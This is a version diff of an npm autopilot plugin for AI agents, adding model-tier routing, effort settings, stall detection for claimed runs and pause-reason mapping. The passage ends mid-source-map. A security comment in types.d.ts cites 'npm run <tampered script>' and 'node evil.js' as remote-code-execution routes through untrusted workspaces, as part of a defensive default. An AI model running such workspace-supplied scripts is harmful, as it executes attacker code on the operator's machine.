@oh-my-matrix/autopilot 2.1.2 → 3.0.0

package/dist/src/projection.js

@@ -2,6 +2,8 @@
 Object.defineProperty(exports, "__esModule", { value: true });
 exports.AUTOPILOT_OUTPUT_COST_PER_M_USD = exports.AUTOPILOT_INPUT_COST_PER_M_USD = void 0;
 exports.projectState = projectState;
+const effort_injection_1 = require("./effort-injection");
+const model_routing_1 = require("./model-routing");
 /**
  * Claude API pricing constants used for cost estimation.
  * Model: Claude Sonnet (as of 2026-Q2). Update if model/pricing changes.
@@ -12,13 +14,20 @@ exports.AUTOPILOT_OUTPUT_COST_PER_M_USD = 15.0;
 // Claude Sonnet pricing (per 1M tokens, USD)
 const INPUT_COST_PER_M = exports.AUTOPILOT_INPUT_COST_PER_M_USD;
 const OUTPUT_COST_PER_M = exports.AUTOPILOT_OUTPUT_COST_PER_M_USD;
-function projectState(state) {
+function projectState(state, 
+// Effective config mirrors before_model_resolve (workflow wins, plugin fallback)
+// so observability fields match actual runtime routing/injection.
+config) {
     if (!state)
         return undefined;
     const now = Date.now();
     const inputTokens = state.inputTokensUsed ?? 0;
     const outputTokens = state.outputTokensUsed ?? 0;
     const estimatedCostUsd = (inputTokens * INPUT_COST_PER_M + outputTokens * OUTPUT_COST_PER_M) / 1_000_000;
+    const modelRouting = state.workflow?.modelRouting ?? config?.modelRouting;
+    const modelTier = state.status === 'running'
+        ? (0, model_routing_1.resolveModelTier)(state.totalContinuations, state.evidence?.status, false, modelRouting)
+        : undefined;
     return {
         status: state.status,
         enabled: state.enabled,
@@ -53,6 +62,11 @@ function projectState(state) {
         lastEvidenceCommands: state.evidence?.commands,
         workflowSource: state.workflow?.source,
         workflowConfigError: state.workflowConfigError,
+        thinkingIntensity: state.status === 'running'
+            ? (0, effort_injection_1.resolveThinkingIntensity)(state.totalContinuations, state.evidence?.status, config?.thinkingIntensity)
+            : undefined,
+        modelTier,
+        recommendedModelId: modelTier ? (0, model_routing_1.resolveModelId)(modelTier, modelRouting) : undefined,
     };
 }
 //# sourceMappingURL=projection.js.map

package/dist/src/projection.js.map

@@ -1 +1 @@
-{"version":3,"file":"projection.js","sourceRoot":"","sources":["../../src/projection.ts"],"names":[],"mappings":";;;AAmDA,oCA0CC;AAtDD;;;;GAIG;AACU,QAAA,8BAA8B,GAAG,GAAG,CAAC;AACrC,QAAA,+BAA+B,GAAG,IAAI,CAAC;AAEpD,6CAA6C;AAC7C,MAAM,gBAAgB,GAAG,sCAA8B,CAAC;AACxD,MAAM,iBAAiB,GAAG,uCAA+B,CAAC;AAE1D,SAAgB,YAAY,CAAC,KAAiC;IAC5D,IAAI,CAAC,KAAK;QAAE,OAAO,SAAS,CAAC;IAC7B,MAAM,GAAG,GAAG,IAAI,CAAC,GAAG,EAAE,CAAC;IACvB,MAAM,WAAW,GAAG,KAAK,CAAC,eAAe,IAAI,CAAC,CAAC;IAC/C,MAAM,YAAY,GAAG,KAAK,CAAC,gBAAgB,IAAI,CAAC,CAAC;IACjD,MAAM,gBAAgB,GACpB,CAAC,WAAW,GAAG,gBAAgB,GAAG,YAAY,GAAG,iBAAiB,CAAC,GAAG,SAAS,CAAC;IAClF,OAAO;QACL,MAAM,EAAE,KAAK,CAAC,MAAM;QACpB,OAAO,EAAE,KAAK,CAAC,OAAO;QACtB,YAAY,EAAE,KAAK,CAAC,YAAY;QAChC,kBAAkB,EAAE,KAAK,CAAC,kBAAkB;QAC5C,kBAAkB,EAAE,KAAK,CAAC,kBAAkB;QAC5C,qBAAqB,EAAE,KAAK,CAAC,qBAAqB;QAClD,sBAAsB,EAAE,KAAK,CAAC,sBAAsB;QACpD,WAAW,EAAE,KAAK,CAAC,WAAW;QAC9B,oBAAoB,EAAE,KAAK,CAAC,oBAAoB;QAChD,OAAO,EAAE,KAAK,CAAC,MAAM,KAAK,SAAS,IAAI,KAAK,CAAC,MAAM,KAAK,QAAQ,IAAI,KAAK,CAAC,MAAM,KAAK,MAAM;QAC3F,QAAQ,EAAE,KAAK,CAAC,IAAI,IAAI,KAAK,CAAC,IAAI,CAAC,MAAM,GAAG,GAAG,CAAC,CAAC,CAAC,KAAK,CAAC,IAAI,CAAC,SAAS,CAAC,CAAC,EAAE,EAAE,CAAC,GAAG,KAAK,CAAC,CAAC,CAAC,KAAK,CAAC,IAAI,EAAE,SAAS,CAAC,CAAC,EAAE,GAAG,CAAC;QACrH,eAAe,EAAE,KAAK,CAAC,eAAe;QACtC,WAAW,EAAE,KAAK,CAAC,WAAW;QAC9B,gBAAgB;QAChB,aAAa,EAAE,KAAK,CAAC,aAAa;QAClC,QAAQ,EAAE,KAAK,CAAC,QAAQ;QACxB,uBAAuB;QACvB,kBAAkB,EAAE,KAAK,CAAC,kBAAkB;QAC5C,aAAa,EAAE,KAAK,CAAC,SAAS,EAAE,IAAI;QACpC,eAAe,EAAE,KAAK,CAAC,SAAS,EAAE,UAAU;QAC5C,UAAU,EAAE,KAAK,CAAC,KAAK,EAAE,OAAO,IAAI,CAAC;QACrC,WAAW,EAAE,KAAK,CAAC,KAAK,EAAE,WAAW;QACrC,aAAa,EAAE,KAAK,CAAC,aAAa;QAClC,SAAS,EAAE,KAAK,CAAC,SAAS;QAC1B,cAAc,EAAE,KAAK,CAAC,cAAc;QACpC,SAAS,EAAE,KAAK,CAAC,SAAS,IAAI,IAAI,CAAC,CAAC,CAAC,GAAG,GAAG,KAAK,CAAC,SAAS,CAAC,CAAC,CAAC,CAAC;QAC9D,eAAe,EAAE,KAAK,CAAC,eAAe,IAAI,CAAC;QAC3C,gBAAgB,EAAE,KAAK,CAAC,gBAAgB,IAAI,CAAC;QAC7C,cAAc,EAAE,KAAK,CAAC,QAAQ,EAAE,MAAM;QACtC,eAAe,EAAE,KAAK,CAAC,QAAQ,EAAE,WAAW;QAC5C,oBAAoB,EAAE,KAAK,CAAC,QAAQ,EAAE,QAAQ;QAC9C,cAAc,EAAE,KAAK,CAAC,QAAQ,EAAE,MAAM;QACtC,mBAAmB,EAAE,KAAK,CAAC,mBAAmB;KAC/C,CAAC;AACJ,CAAC"}
+{"version":3,"file":"projection.js","sourceRoot":"","sources":["../../src/projection.ts"],"names":[],"mappings":"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"}

package/dist/src/stall-detector.d.ts

@@ -16,7 +16,10 @@ export interface StallResult {
 }
 /**
  * Check if the run has stalled based on last activity time.
- * Only considers stall when orchestrationState is 'running'.
+ * Considers stall when orchestrationState is 'running' (active turn) or 'claimed'
+ * (M3: a claimed run that never receives a turn is a dead-end — detect it so the
+ * stall_timeout event can transition it to retry_queued, rather than waiting for
+ * the 24h orphan sweep).
  */
 export declare function checkStall(input: StallCheckInput): StallResult;
 //# sourceMappingURL=stall-detector.d.ts.map

package/dist/src/stall-detector.d.ts.map

@@ -1 +1 @@
-{"version":3,"file":"stall-detector.d.ts","sourceRoot":"","sources":["../../src/stall-detector.ts"],"names":[],"mappings":"AAAA;;;;;GAKG;AACH,MAAM,WAAW,eAAe;IAC9B,kBAAkB,EAAE,MAAM,CAAC;IAC3B,cAAc,CAAC,EAAE,MAAM,CAAC;IACxB,GAAG,EAAE,MAAM,CAAC;IACZ,cAAc,EAAE,MAAM,CAAC;CACxB;AAED,MAAM,WAAW,WAAW;IAC1B,OAAO,EAAE,OAAO,CAAC;IACjB,eAAe,CAAC,EAAE,MAAM,CAAC;CAC1B;AAED;;;GAGG;AACH,wBAAgB,UAAU,CAAC,KAAK,EAAE,eAAe,GAAG,WAAW,CAsB9D"}
+{"version":3,"file":"stall-detector.d.ts","sourceRoot":"","sources":["../../src/stall-detector.ts"],"names":[],"mappings":"AAAA;;;;;GAKG;AACH,MAAM,WAAW,eAAe;IAC9B,kBAAkB,EAAE,MAAM,CAAC;IAC3B,cAAc,CAAC,EAAE,MAAM,CAAC;IACxB,GAAG,EAAE,MAAM,CAAC;IACZ,cAAc,EAAE,MAAM,CAAC;CACxB;AAED,MAAM,WAAW,WAAW;IAC1B,OAAO,EAAE,OAAO,CAAC;IACjB,eAAe,CAAC,EAAE,MAAM,CAAC;CAC1B;AAED;;;;;;GAMG;AACH,wBAAgB,UAAU,CAAC,KAAK,EAAE,eAAe,GAAG,WAAW,CAuB9D"}

package/dist/src/stall-detector.js

@@ -3,12 +3,16 @@ Object.defineProperty(exports, "__esModule", { value: true });
 exports.checkStall = checkStall;
 /**
  * Check if the run has stalled based on last activity time.
- * Only considers stall when orchestrationState is 'running'.
+ * Considers stall when orchestrationState is 'running' (active turn) or 'claimed'
+ * (M3: a claimed run that never receives a turn is a dead-end — detect it so the
+ * stall_timeout event can transition it to retry_queued, rather than waiting for
+ * the 24h orphan sweep).
  */
 function checkStall(input) {
     const { orchestrationState, lastActivityAt, now, stallTimeoutMs } = input;
-    // Only check stall while actively running
-    if (orchestrationState !== 'running') {
+    // Check stall for active states: 'running' (turn in progress) and 'claimed'
+    // (waiting for a turn that may never come).
+    if (orchestrationState !== 'running' && orchestrationState !== 'claimed') {
         return { stalled: false };
     }
     if (lastActivityAt == null) {

package/dist/src/stall-detector.js.map

@@ -1 +1 @@
-{"version":3,"file":"stall-detector.js","sourceRoot":"","sources":["../../src/stall-detector.ts"],"names":[],"mappings":";;AAsBA,gCAsBC;AA1BD;;;GAGG;AACH,SAAgB,UAAU,CAAC,KAAsB;IAC/C,MAAM,EAAE,kBAAkB,EAAE,cAAc,EAAE,GAAG,EAAE,cAAc,EAAE,GAAG,KAAK,CAAC;IAE1E,0CAA0C;IAC1C,IAAI,kBAAkB,KAAK,SAAS,EAAE,CAAC;QACrC,OAAO,EAAE,OAAO,EAAE,KAAK,EAAE,CAAC;IAC5B,CAAC;IAED,IAAI,cAAc,IAAI,IAAI,EAAE,CAAC;QAC3B,OAAO,EAAE,OAAO,EAAE,KAAK,EAAE,CAAC;IAC5B,CAAC;IAED,MAAM,OAAO,GAAG,GAAG,GAAG,cAAc,CAAC;IAErC,IAAI,OAAO,GAAG,cAAc,EAAE,CAAC;QAC7B,OAAO;YACL,OAAO,EAAE,IAAI;YACb,eAAe,EAAE,OAAO,GAAG,cAAc;SAC1C,CAAC;IACJ,CAAC;IAED,OAAO,EAAE,OAAO,EAAE,KAAK,EAAE,CAAC;AAC5B,CAAC"}
+{"version":3,"file":"stall-detector.js","sourceRoot":"","sources":["../../src/stall-detector.ts"],"names":[],"mappings":";;AAyBA,gCAuBC;AA9BD;;;;;;GAMG;AACH,SAAgB,UAAU,CAAC,KAAsB;IAC/C,MAAM,EAAE,kBAAkB,EAAE,cAAc,EAAE,GAAG,EAAE,cAAc,EAAE,GAAG,KAAK,CAAC;IAE1E,4EAA4E;IAC5E,4CAA4C;IAC5C,IAAI,kBAAkB,KAAK,SAAS,IAAI,kBAAkB,KAAK,SAAS,EAAE,CAAC;QACzE,OAAO,EAAE,OAAO,EAAE,KAAK,EAAE,CAAC;IAC5B,CAAC;IAED,IAAI,cAAc,IAAI,IAAI,EAAE,CAAC;QAC3B,OAAO,EAAE,OAAO,EAAE,KAAK,EAAE,CAAC;IAC5B,CAAC;IAED,MAAM,OAAO,GAAG,GAAG,GAAG,cAAc,CAAC;IAErC,IAAI,OAAO,GAAG,cAAc,EAAE,CAAC;QAC7B,OAAO;YACL,OAAO,EAAE,IAAI;YACb,eAAe,EAAE,OAAO,GAAG,cAAc;SAC1C,CAAC;IACJ,CAAC;IAED,OAAO,EAAE,OAAO,EAAE,KAAK,EAAE,CAAC;AAC5B,CAAC"}

package/dist/src/tool-error-tracker.d.ts

@@ -1,4 +1,20 @@
 import type { AutopilotState, ToolErrorEntry } from './types';
+/**
+ * Track a failed tool call for the loop-breaker (isThresholdExceeded → pause with
+ * 'tool_error_repeated'). Counts CONSECUTIVE identical failures (same tool AND
+ * same args); any different failure resets the count to 1. Successful calls do
+ * not reach here (after_tool_call only tracks when event.error is set), so they
+ * neither increment nor reset — a success between two identical failures still
+ * counts as consecutive.
+ *
+ * Deliberately narrow: "the same call failing over and over" is a precise stuck
+ * signal. Widening it (count total errors, or match on tool alone) would misfire
+ * on normal trial-and-error — an agent trying different commands, some of which
+ * fail, is making progress, not stuck. The known blind spot (an agent alternating
+ * between two DIFFERENT failing calls forever, A→B→A→B, never trips this) is
+ * accepted: the other loop-breakers (maxTotalContinuations, stall detector) catch
+ * it. Erring toward not-halting-real-work beats a false pause. (BUG-TET-1 review)
+ */
 export declare function trackToolError(state: AutopilotState, error: ToolErrorEntry): AutopilotState;
 export declare function isThresholdExceeded(state: AutopilotState, threshold: number): boolean;
 //# sourceMappingURL=tool-error-tracker.d.ts.map

package/dist/src/tool-error-tracker.d.ts.map

@@ -1 +1 @@
-{"version":3,"file":"tool-error-tracker.d.ts","sourceRoot":"","sources":["../../src/tool-error-tracker.ts"],"names":[],"mappings":"AAAA,OAAO,KAAK,EAAE,cAAc,EAAE,cAAc,EAAE,MAAM,SAAS,CAAC;AAE9D,wBAAgB,cAAc,CAC5B,KAAK,EAAE,cAAc,EACrB,KAAK,EAAE,cAAc,GACpB,cAAc,CAWhB;AAED,wBAAgB,mBAAmB,CACjC,KAAK,EAAE,cAAc,EACrB,SAAS,EAAE,MAAM,GAChB,OAAO,CAET"}
+{"version":3,"file":"tool-error-tracker.d.ts","sourceRoot":"","sources":["../../src/tool-error-tracker.ts"],"names":[],"mappings":"AAAA,OAAO,KAAK,EAAE,cAAc,EAAE,cAAc,EAAE,MAAM,SAAS,CAAC;AAE9D;;;;;;;;;;;;;;;GAeG;AACH,wBAAgB,cAAc,CAC5B,KAAK,EAAE,cAAc,EACrB,KAAK,EAAE,cAAc,GACpB,cAAc,CAWhB;AAED,wBAAgB,mBAAmB,CACjC,KAAK,EAAE,cAAc,EACrB,SAAS,EAAE,MAAM,GAChB,OAAO,CAET"}

package/dist/src/tool-error-tracker.js

@@ -2,6 +2,22 @@
 Object.defineProperty(exports, "__esModule", { value: true });
 exports.trackToolError = trackToolError;
 exports.isThresholdExceeded = isThresholdExceeded;
+/**
+ * Track a failed tool call for the loop-breaker (isThresholdExceeded → pause with
+ * 'tool_error_repeated'). Counts CONSECUTIVE identical failures (same tool AND
+ * same args); any different failure resets the count to 1. Successful calls do
+ * not reach here (after_tool_call only tracks when event.error is set), so they
+ * neither increment nor reset — a success between two identical failures still
+ * counts as consecutive.
+ *
+ * Deliberately narrow: "the same call failing over and over" is a precise stuck
+ * signal. Widening it (count total errors, or match on tool alone) would misfire
+ * on normal trial-and-error — an agent trying different commands, some of which
+ * fail, is making progress, not stuck. The known blind spot (an agent alternating
+ * between two DIFFERENT failing calls forever, A→B→A→B, never trips this) is
+ * accepted: the other loop-breakers (maxTotalContinuations, stall detector) catch
+ * it. Erring toward not-halting-real-work beats a false pause. (BUG-TET-1 review)
+ */
 function trackToolError(state, error) {
     const isSameError = state.lastToolError &&
         state.lastToolError.tool === error.tool &&

package/dist/src/tool-error-tracker.js.map

@@ -1 +1 @@
-{"version":3,"file":"tool-error-tracker.js","sourceRoot":"","sources":["../../src/tool-error-tracker.ts"],"names":[],"mappings":";;AAEA,wCAcC;AAED,kDAKC;AArBD,SAAgB,cAAc,CAC5B,KAAqB,EACrB,KAAqB;IAErB,MAAM,WAAW,GACf,KAAK,CAAC,aAAa;QACnB,KAAK,CAAC,aAAa,CAAC,IAAI,KAAK,KAAK,CAAC,IAAI;QACvC,KAAK,CAAC,aAAa,CAAC,IAAI,KAAK,KAAK,CAAC,IAAI,CAAC;IAE1C,OAAO;QACL,GAAG,KAAK;QACR,aAAa,EAAE,KAAK;QACpB,cAAc,EAAE,WAAW,CAAC,CAAC,CAAC,KAAK,CAAC,cAAc,GAAG,CAAC,CAAC,CAAC,CAAC,CAAC;KAC3D,CAAC;AACJ,CAAC;AAED,SAAgB,mBAAmB,CACjC,KAAqB,EACrB,SAAiB;IAEjB,OAAO,KAAK,CAAC,cAAc,IAAI,SAAS,CAAC;AAC3C,CAAC"}
+{"version":3,"file":"tool-error-tracker.js","sourceRoot":"","sources":["../../src/tool-error-tracker.ts"],"names":[],"mappings":";;AAkBA,wCAcC;AAED,kDAKC;AArCD;;;;;;;;;;;;;;;GAeG;AACH,SAAgB,cAAc,CAC5B,KAAqB,EACrB,KAAqB;IAErB,MAAM,WAAW,GACf,KAAK,CAAC,aAAa;QACnB,KAAK,CAAC,aAAa,CAAC,IAAI,KAAK,KAAK,CAAC,IAAI;QACvC,KAAK,CAAC,aAAa,CAAC,IAAI,KAAK,KAAK,CAAC,IAAI,CAAC;IAE1C,OAAO;QACL,GAAG,KAAK;QACR,aAAa,EAAE,KAAK;QACpB,cAAc,EAAE,WAAW,CAAC,CAAC,CAAC,KAAK,CAAC,cAAc,GAAG,CAAC,CAAC,CAAC,CAAC,CAAC;KAC3D,CAAC;AACJ,CAAC;AAED,SAAgB,mBAAmB,CACjC,KAAqB,EACrB,SAAiB;IAEjB,OAAO,KAAK,CAAC,cAAc,IAAI,SAAS,CAAC;AAC3C,CAAC"}

package/dist/src/types.d.ts

@@ -1,7 +1,7 @@
 export type AutopilotStatus = 'idle' | 'running' | 'paused' | 'done';
-export type PauseReason = 'max_attempts_reached' | 'max_total_reached' | 'tool_error_repeated' | 'loop_breaker_triggered' | 'context_overflow_unrecoverable' | 'permission_denied' | 'injection_rejected' | 'user_stopped' | 'token_budget_exceeded';
+export type PauseReason = 'max_attempts_reached' | 'max_total_reached' | 'tool_error_repeated' | 'loop_breaker_triggered' | 'context_overflow_unrecoverable' | 'permission_denied' | 'injection_rejected' | 'user_stopped' | 'token_budget_exceeded' | 'validation_failed';
 export type OrchestrationState = 'unclaimed' | 'claimed' | 'running' | 'retry_queued' | 'released' | 'blocked' | 'done';
-export type BlockedReason = 'permission_denied' | 'workspace_containment_failed' | 'workspace_create_failed' | 'validation_failed' | 'evidence_missing' | 'stalled' | 'token_budget_exceeded' | 'user_stopped' | 'config_invalid' | 'max_retries_reached';
+export type BlockedReason = 'permission_denied' | 'workspace_containment_failed' | 'workspace_create_failed' | 'validation_failed' | 'evidence_missing' | 'stalled' | 'token_budget_exceeded' | 'user_stopped' | 'config_invalid' | 'max_retries_reached' | 'max_total_reached' | 'tool_error_repeated' | 'loop_breaker_triggered' | 'context_overflow_unrecoverable' | 'injection_rejected' | 'unrecoverable_error';
 /** Canonical set of all valid BlockedReason values — used by isValidBlockedReason type guard */
 export declare const VALID_BLOCKED_REASONS: ReadonlySet<BlockedReason>;
 /** H-2: Type guard — validates that an arbitrary string is a BlockedReason.
@@ -9,7 +9,55 @@ export declare const VALID_BLOCKED_REASONS: ReadonlySet<BlockedReason>;
 export declare function isValidBlockedReason(value: string): value is BlockedReason;
 /** H-2: Safe BlockedReason coercion — returns the value if valid, otherwise falls back. */
 export declare function toBlockedReason(value: string, fallback?: BlockedReason): BlockedReason;
+/**
+ * W1 Phase 1.5: TOTAL PauseReason → BlockedReason mapping (no silent fallback).
+ *
+ * Replaces the lossy `toBlockedReason(pauseReason, 'validation_failed')` pattern
+ * that mapped 6 of 10 terminal PauseReasons to 'validation_failed' — which is in
+ * RESUMABLE_BLOCKED_REASONS, making terminal pauses look recoverable (TENSION 1).
+ *
+ * This function is total: every PauseReason has an explicit BlockedReason. Adding
+ * a new PauseReason without a mapping row is a COMPILE ERROR (not a silent bug).
+ */
+export declare function pauseReasonToBlockedReason(reason: PauseReason): BlockedReason;
 export type EvidenceStatus = 'not_started' | 'running' | 'passed' | 'failed' | 'skipped';
+/**
+ * Graduated thinking intensity levels for effort injection.
+ * - 'low': standard effort, prefer direct efficient responses
+ * - 'medium': moderate extended thinking
+ * - 'high': full extended thinking (default, backward compatible)
+ */
+export type ThinkingIntensity = 'low' | 'medium' | 'high';
+/**
+ * Model tier for cost-aware routing. Maps to concrete model IDs via
+ * ModelRoutingConfig.modelIds. Consumed via before_model_resolve hook.
+ * - 'budget': cheapest viable (haiku / deepseek)
+ * - 'standard': default balance (sonnet)
+ * - 'premium': highest capability (opus)
+ *
+ * MODEL_TIERS is the single source of truth: the runtime allowlist (used by
+ * parseModelRouting / asTier) and the ModelTier union are both derived from
+ * it, so adding a tier is a compile-checked one-place edit — no parallel
+ * array to keep in sync by hand.
+ */
+export declare const MODEL_TIERS: readonly ["budget", "standard", "premium"];
+export type ModelTier = (typeof MODEL_TIERS)[number];
+/**
+ * Model routing configuration. Determines tier per execution phase.
+ * If modelIds[tier] is unset, no modelOverride is emitted (inherit declared model).
+ */
+export interface ModelRoutingConfig {
+    /** Required: tier for implementation turns. */
+    defaultTier: ModelTier;
+    /** Tier for initial turns (totalContinuations <= 1). Default: 'premium'. */
+    initialTurnTier?: ModelTier;
+    /** Tier for validation turns (evidence.status === 'running'). Default: 'standard'. */
+    validationTier?: ModelTier;
+    /** Override tier for subagent sessions. Default: fall through to phase logic. */
+    subagentTier?: ModelTier;
+    /** Map tier -> concrete model ID string (e.g. "claude-opus-4-8"). */
+    modelIds?: Partial<Record<ModelTier, string>>;
+}
 import type { CommandClass, PermissionAuditEntry } from '@oh-my-matrix/permission-policy';
 export type { CommandClass, PermissionAuditEntry };
 export interface WorkspaceRecord {
@@ -71,6 +119,7 @@ export interface WorkflowConfig {
         allow: boolean;
     };
     warnings: string[];
+    modelRouting?: ModelRoutingConfig;
 }
 export type OrchestratorEvent = {
     type: 'activate_requested';
@@ -137,6 +186,11 @@ export type OrchestratorEvent = {
     type: 'resume_requested';
     runId: string;
     now: number;
+} | {
+    type: 'pause_requested';
+    runId: string;
+    reason: PauseReason;
+    now: number;
 };
 export interface ToolErrorEntry {
     tool: string;
@@ -191,6 +245,17 @@ export interface AutopilotConfig {
     highRiskTools?: string[];
     tokenBudget?: number;
     maxConcurrentAutopilot?: number;
+    thinkingIntensity?: ThinkingIntensity;
+    modelRouting?: ModelRoutingConfig;
+    /**
+     * S1 residual (audit 2026-06-30): when false/undefined (default), validation
+     * commands sourced from WORKFLOW.md or auto-detected from the workspace are
+     * NOT executed. An untrusted workspace cannot reach RCE via the evidence gate
+     * (this also covers `npm run <tampered script>` / `node evil.js`, which the
+     * binary allowlist alone cannot stop). Operators opt in per-activate (payload)
+     * or via plugin config to enable workspace-sourced validation.
+     */
+    trustWorkspace?: boolean;
 }
 export declare const DEFAULT_CONFIG: AutopilotConfig;
 export declare function createInitialState(sessionKey: string, runId: string, config?: AutopilotConfig): AutopilotState;
@@ -217,7 +282,4 @@ export interface InjectionResult {
     enqueued: boolean;
     reason?: string;
 }
-/** Hook registration function signature */
-export type HookHandler = (...args: unknown[]) => unknown;
-export type RegisterHookFn = (hookName: string, handler: HookHandler) => void;
 //# sourceMappingURL=types.d.ts.map

package/dist/src/types.d.ts.map

@@ -1 +1 @@
-{"version":3,"file":"types.d.ts","sourceRoot":"","sources":["../../src/types.ts"],"names":[],"mappings":"AAAA,MAAM,MAAM,eAAe,GAAG,MAAM,GAAG,SAAS,GAAG,QAAQ,GAAG,MAAM,CAAC;AAErE,MAAM,MAAM,WAAW,GACnB,sBAAsB,GACtB,mBAAmB,GACnB,qBAAqB,GACrB,wBAAwB,GACxB,gCAAgC,GAChC,mBAAmB,GACnB,oBAAoB,GACpB,cAAc,GACd,uBAAuB,CAAC;AAI5B,MAAM,MAAM,kBAAkB,GAC1B,WAAW,GACX,SAAS,GACT,SAAS,GACT,cAAc,GACd,UAAU,GACV,SAAS,GACT,MAAM,CAAC;AAEX,MAAM,MAAM,aAAa,GACrB,mBAAmB,GACnB,8BAA8B,GAC9B,yBAAyB,GACzB,mBAAmB,GACnB,kBAAkB,GAClB,SAAS,GACT,uBAAuB,GACvB,cAAc,GACd,gBAAgB,GAChB,qBAAqB,CAAC;AAE1B,gGAAgG;AAChG,eAAO,MAAM,qBAAqB,EAAE,WAAW,CAAC,aAAa,CAW3D,CAAC;AAEH;oFACoF;AACpF,wBAAgB,oBAAoB,CAAC,KAAK,EAAE,MAAM,GAAG,KAAK,IAAI,aAAa,CAE1E;AAED,2FAA2F;AAC3F,wBAAgB,eAAe,CAAC,KAAK,EAAE,MAAM,EAAE,QAAQ,GAAE,aAAmC,GAAG,aAAa,CAE3G;AAED,MAAM,MAAM,cAAc,GAAG,aAAa,GAAG,SAAS,GAAG,QAAQ,GAAG,QAAQ,GAAG,SAAS,CAAC;AAOzF,OAAO,KAAK,EAAE,YAAY,EAAE,oBAAoB,EAAE,MAAM,iCAAiC,CAAC;AAC1F,YAAY,EAAE,YAAY,EAAE,oBAAoB,EAAE,CAAC;AAEnD,MAAM,WAAW,eAAe;IAC9B,IAAI,EAAE,MAAM,CAAC;IACb,IAAI,EAAE,MAAM,CAAC;IACb,YAAY,EAAE,MAAM,CAAC;IACrB,UAAU,EAAE,MAAM,CAAC;IACnB,UAAU,EAAE,MAAM,CAAC;IACnB,UAAU,EAAE,OAAO,CAAC;IACpB,QAAQ,EAAE,OAAO,CAAC;IAClB,cAAc,CAAC,EAAE